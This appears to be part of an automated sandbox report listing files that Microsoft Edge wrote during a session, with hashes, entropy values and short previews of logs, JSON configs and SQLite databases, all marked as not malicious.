MD5:	F25E7B79214FAC809264FCB77A83C2AE
SHA1:	4D8294CE70CE94F33E9B94AD5AD3D8321ACBB517
SHA-256:	C778A0CFB3DFDCBB655FC66936ECE8389C58EBAA097275CD183787740A2C8389
SHA-512:	17E2BE7A4A7392B7AECB85C6AA5BEE3F09238B1BBC2E599EDC251181EE75A5E35BAA2E2985C8B8F026812E9783EE5B10E209A309D97EB0E5822C178A480DF80E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.191558662018741
Encrypted:	false
SSDEEP:	6:HApFmmODQQ+q2P923oH+Tcwt8aPrqIFUt8YApFmsQgZmw+YApFmsQQVkwO923oHj:gBNv4YebL3FUt87N/+7/5LYebQJ
MD5:	A6A02F33AA8155CDB5EB387D8BDB8F79
SHA1:	3F9FAE2890ED1C2E14859D9481D115FB34045AA8
SHA-256:	4B5208D9D7883EC11DD4C5780F32FEFE489650DB09D2F382DFC8E2B404A18A8E
SHA-512:	63548BF5C6EA6C9B3F3C691CDC0BDCAFF8A55A1F4C608BA66BD8C133D67F725970ABB6B630B2C0D6336A2BCEDF8E455300A0D2B0FAC8C191B3CA2F95A78E5849
Malicious:	false
Preview:	2024/11/25-12:28:25.436 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-12:28:25.437 1df8 Recovering log #3.2024/11/25-12:28:25.437 1df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.191558662018741
Encrypted:	false
SSDEEP:	6:HApFmmODQQ+q2P923oH+Tcwt8aPrqIFUt8YApFmsQgZmw+YApFmsQQVkwO923oHj:gBNv4YebL3FUt87N/+7/5LYebQJ
MD5:	A6A02F33AA8155CDB5EB387D8BDB8F79
SHA1:	3F9FAE2890ED1C2E14859D9481D115FB34045AA8
SHA-256:	4B5208D9D7883EC11DD4C5780F32FEFE489650DB09D2F382DFC8E2B404A18A8E
SHA-512:	63548BF5C6EA6C9B3F3C691CDC0BDCAFF8A55A1F4C608BA66BD8C133D67F725970ABB6B630B2C0D6336A2BCEDF8E455300A0D2B0FAC8C191B3CA2F95A78E5849
Malicious:	false
Preview:	2024/11/25-12:28:25.436 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-12:28:25.437 1df8 Recovering log #3.2024/11/25-12:28:25.437 1df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188249467949976
Encrypted:	false
SSDEEP:	6:HApFmKQ+q2P923oH+Tcwt865IFUt8YApFmtCgZmw+YApFmCBkQVkwO923oH+Tcwx:gzv4Yeb/WFUt87E/+7dB/5LYeb/+SJ
MD5:	7FBF8CC62B8E67DE03087D4834202FDE
SHA1:	416DCCF23E8E292A4121B5274F6F29AA48443CE3
SHA-256:	88558F23B5F76744081CAC71BE463734E5FF78F7B11C7AC00F8FEB57B1506479
SHA-512:	2B546FDA554BA094B67E7D3657F00CA63354922D45BA1DFFEECCBD090FC5E68E4795AC29088E6EE26FE167F69375B046E5E0080CB67BCEF8831C298EB9F61BB3
Malicious:	false
Preview:	2024/11/25-12:28:25.461 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-12:28:25.463 1df8 Recovering log #3.2024/11/25-12:28:25.464 1df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188249467949976
Encrypted:	false
SSDEEP:	6:HApFmKQ+q2P923oH+Tcwt865IFUt8YApFmtCgZmw+YApFmCBkQVkwO923oH+Tcwx:gzv4Yeb/WFUt87E/+7dB/5LYeb/+SJ
MD5:	7FBF8CC62B8E67DE03087D4834202FDE
SHA1:	416DCCF23E8E292A4121B5274F6F29AA48443CE3
SHA-256:	88558F23B5F76744081CAC71BE463734E5FF78F7B11C7AC00F8FEB57B1506479
SHA-512:	2B546FDA554BA094B67E7D3657F00CA63354922D45BA1DFFEECCBD090FC5E68E4795AC29088E6EE26FE167F69375B046E5E0080CB67BCEF8831C298EB9F61BB3
Malicious:	false
Preview:	2024/11/25-12:28:25.461 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-12:28:25.463 1df8 Recovering log #3.2024/11/25-12:28:25.464 1df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162793715447818
Encrypted:	false
SSDEEP:	6:HApFM/q2P923oH+Tcwt8NIFUt8YApFMsPZmw+YApFMukwO923oH+Tcwt8+eLJ:gmv4YebpFUt87jP/+755LYebqJ
MD5:	274BE38CED7296F627222A7463875C3C
SHA1:	53CA58DF79959E17011F8E6FF9C3C19AC13E6539
SHA-256:	663108F6C47D55EE029D3B2561353CFB2619F529C2DCF8B66E625B859ABB5CCB
SHA-512:	586CC34537A9D56AE9AB9087C9E3A1050BCDFD20BA0E2456A9C40094C1C354C59A973E75A092C9A46594FF7C9B46419090523F49C9E2CDB9890B7BD188870FFA
Malicious:	false
Preview:	2024/11/25-12:28:26.137 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-12:28:26.146 1d60 Recovering log #3.2024/11/25-12:28:26.155 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162793715447818
Encrypted:	false
SSDEEP:	6:HApFM/q2P923oH+Tcwt8NIFUt8YApFMsPZmw+YApFMukwO923oH+Tcwt8+eLJ:gmv4YebpFUt87jP/+755LYebqJ
MD5:	274BE38CED7296F627222A7463875C3C
SHA1:	53CA58DF79959E17011F8E6FF9C3C19AC13E6539
SHA-256:	663108F6C47D55EE029D3B2561353CFB2619F529C2DCF8B66E625B859ABB5CCB
SHA-512:	586CC34537A9D56AE9AB9087C9E3A1050BCDFD20BA0E2456A9C40094C1C354C59A973E75A092C9A46594FF7C9B46419090523F49C9E2CDB9890B7BD188870FFA
Malicious:	false
Preview:	2024/11/25-12:28:26.137 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-12:28:26.146 1d60 Recovering log #3.2024/11/25-12:28:26.155 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:kHLvtFlljq7A/mhWJFuQ3yy7IOWUsv94dweytllrE9SFcTp4AGbNCV9RUIX:kHw75fO+Gd0Xi99pEYl
MD5:	32DF00C8819CA1D21E46F732AE2C0732
SHA1:	C40411751225B97745A248950E9B0D6A969625BC
SHA-256:	A8DA582DFF4C378D718FC78C30224EF7F582F893E1C585306F8B45D77806AC72
SHA-512:	208E7BE8EAB3A2FF9415647129A8011617CAA2D65D7BA36567A307A79D7B177187CF1EDA57324A4DC917A7A3E0399FB613F39BA7C1F90DDD8ADB4ABF40DD6473
Malicious:	false
Preview:	.................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477468414571055
Encrypted:	false
SSDEEP:	384:aj9P0gP/Kbtfjly773pLDc7gam6IYhfQkQerIRKToaAu:adLP/yly7OaoJe2IRKcC
MD5:	5716BCD0766C9E2D83CF0638919FEDE6
SHA1:	5869BDEDCCDB52F798E1E9E20986E3783BBB772E
SHA-256:	A1F21C6DBBB91EF7BC887EE6CFDE14D27BA46D899EBA02827E585A1DC8E2DAB9
SHA-512:	77F865680F7DAD16E9B8C6320059FC9895840661BFCBF4C44EF63CAEDBC32C329901988179E08DF4EEACCFC333BE3394142944E3C20F1493726EA375B7C5D87F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.275478867535919
Encrypted:	false
SSDEEP:	12:gCVaov4Yeb8rcHEZrELFUt87CVz5/+7CVzT5LYeb8rcHEZrEZSJ:Ga4Yeb8nZrExg80LYeb8nZrEZe
MD5:	F96450B02E26621C3A54F4183B96E65A
SHA1:	ED3C6EE314A2ACBA97662C9CA012C11907C83DAB
SHA-256:	45ED5238FF7068308BCD6CD8DC8BF834CB4E0A0CE317A681DBA6D4525F712E31
SHA-512:	59ECD1DF56AEF764A0EB5F7D68C66B1049D3B9F5F90BD2E6106528C497A3D8C337D2B945800F17E303A528AB2DAD46A0F8D696A0E933F9E1B9386329C7110645
Malicious:	false
Preview:	2024/11/25-12:28:30.558 1d48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-12:28:30.559 1d48 Recovering log #3.2024/11/25-12:28:30.559 1d48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.275478867535919
Encrypted:	false
SSDEEP:	12:gCVaov4Yeb8rcHEZrELFUt87CVz5/+7CVzT5LYeb8rcHEZrEZSJ:Ga4Yeb8nZrExg80LYeb8nZrEZe
MD5:	F96450B02E26621C3A54F4183B96E65A
SHA1:	ED3C6EE314A2ACBA97662C9CA012C11907C83DAB
SHA-256:	45ED5238FF7068308BCD6CD8DC8BF834CB4E0A0CE317A681DBA6D4525F712E31
SHA-512:	59ECD1DF56AEF764A0EB5F7D68C66B1049D3B9F5F90BD2E6106528C497A3D8C337D2B945800F17E303A528AB2DAD46A0F8D696A0E933F9E1B9386329C7110645
Malicious:	false
Preview:	2024/11/25-12:28:30.558 1d48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-12:28:30.559 1d48 Recovering log #3.2024/11/25-12:28:30.559 1d48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1474
Entropy (8bit):	5.653168031667528
Encrypted:	false
SSDEEP:	24:YBSZWcUlHAlKTrkD1R1dhXZsW2sFV03y1x4/hLMymWBFrkTN5zgFHHmi28/V:BZxHIr2XZ72iV03Sx4/hwymb+HH328t
MD5:	CA4803C690244E172B982E4CF0899947
SHA1:	D861087A9CAB1597EEAA0C44C9EBB0112D22B01F
SHA-256:	FCECD5E01CC57912DB87AF0667103AD08DB990CCB06207CC0462779D5E6CA7EF
SHA-512:	AE4D9B935AA790CD2A886BA601334992E1E61CE0A3A9D888A5C6686AB73DD485381CA8A32250F5D453B8A5B9208AC7A767EB420B84CD6FE86930710C24A5554A
Malicious:	false
Preview:	n.K${................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":823}.!_https://ntp.msn.com..LastKnownPV..1732555723678.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732555724694.._https://ntp.msn.com..MUID!.1C9027A36A1F6A1B109A32E16B066B17.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732555723774,"schedule":[18,-1,35,-1,-1,22,-1],"scheduleFixed":[18,-1,35,-1,-1,22,-1],"simpleSchedule":[44,45,22,34,43,17,9]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732555723637.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_http

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1742469268106355
Encrypted:	false
SSDEEP:	6:HApFmccdcQL+q2P923oH+Tcwt8a2jMGIFUt8YApFmccASG1Zmw+YApFMGQLVkwOJ:gHcPyv4Yeb8EFUt87HcM/+72R5LYeb8N
MD5:	14A3F471B916342DE2D12923763BA517
SHA1:	44097B6474994C17181A1A4F3870FFE06B9F317E
SHA-256:	8F07204E24527642EFD6096F253A074F90D167303D0E7320D330BCA203BF8E1A
SHA-512:	0EECB666AC4747BC77BE9623C1DD84DC0E765DE7E479486816E03664C7D94D56F9F87C1EEF89B9E7F35C4D531E2A937C87CAB9EB35C6FB66C11540AEF75A22AD
Malicious:	false
Preview:	2024/11/25-12:28:25.998 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-12:28:25.999 1da8 Recovering log #3.2024/11/25-12:28:26.137 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1742469268106355
Encrypted:	false
SSDEEP:	6:HApFmccdcQL+q2P923oH+Tcwt8a2jMGIFUt8YApFmccASG1Zmw+YApFMGQLVkwOJ:gHcPyv4Yeb8EFUt87HcM/+72R5LYeb8N
MD5:	14A3F471B916342DE2D12923763BA517
SHA1:	44097B6474994C17181A1A4F3870FFE06B9F317E
SHA-256:	8F07204E24527642EFD6096F253A074F90D167303D0E7320D330BCA203BF8E1A
SHA-512:	0EECB666AC4747BC77BE9623C1DD84DC0E765DE7E479486816E03664C7D94D56F9F87C1EEF89B9E7F35C4D531E2A937C87CAB9EB35C6FB66C11540AEF75A22AD
Malicious:	false
Preview:	2024/11/25-12:28:25.998 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-12:28:25.999 1da8 Recovering log #3.2024/11/25-12:28:26.137 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0dbacdee-1900-4f09-bb13-c36d12a3267d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\624f1f14-d910-4c11-8f39-b26d276ef684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6c665975-4782-4f57-87b2-ceeeaa93ede2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.778166267771499
Encrypted:	false
SSDEEP:	96:te+Auwq4EHBqcYoPF45WdSwMdW83xmyg+ddHG7pmIMXckO0L/ZJV8Y:tTwBQbN45orx7yg+bm7c1Xcf0L/ZJVb
MD5:	FBE961A22D78C03C6FC260118B613E20
SHA1:	14B21D03A9527873F6347226E84EA3FCAAA8F215
SHA-256:	DFDCAB55E91A92183E5A85B0C51A3291F6D3C329D1D5A393C214E59E3B552721
SHA-512:	8FD6094F2F0CFA9C348426279071650F7E17E4FBE58F45159DDD4D5DA08E02F000D4A41F16D5EDABB65E38AD275201805D071842E0C21D2426D2CCB5C51C0C52
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
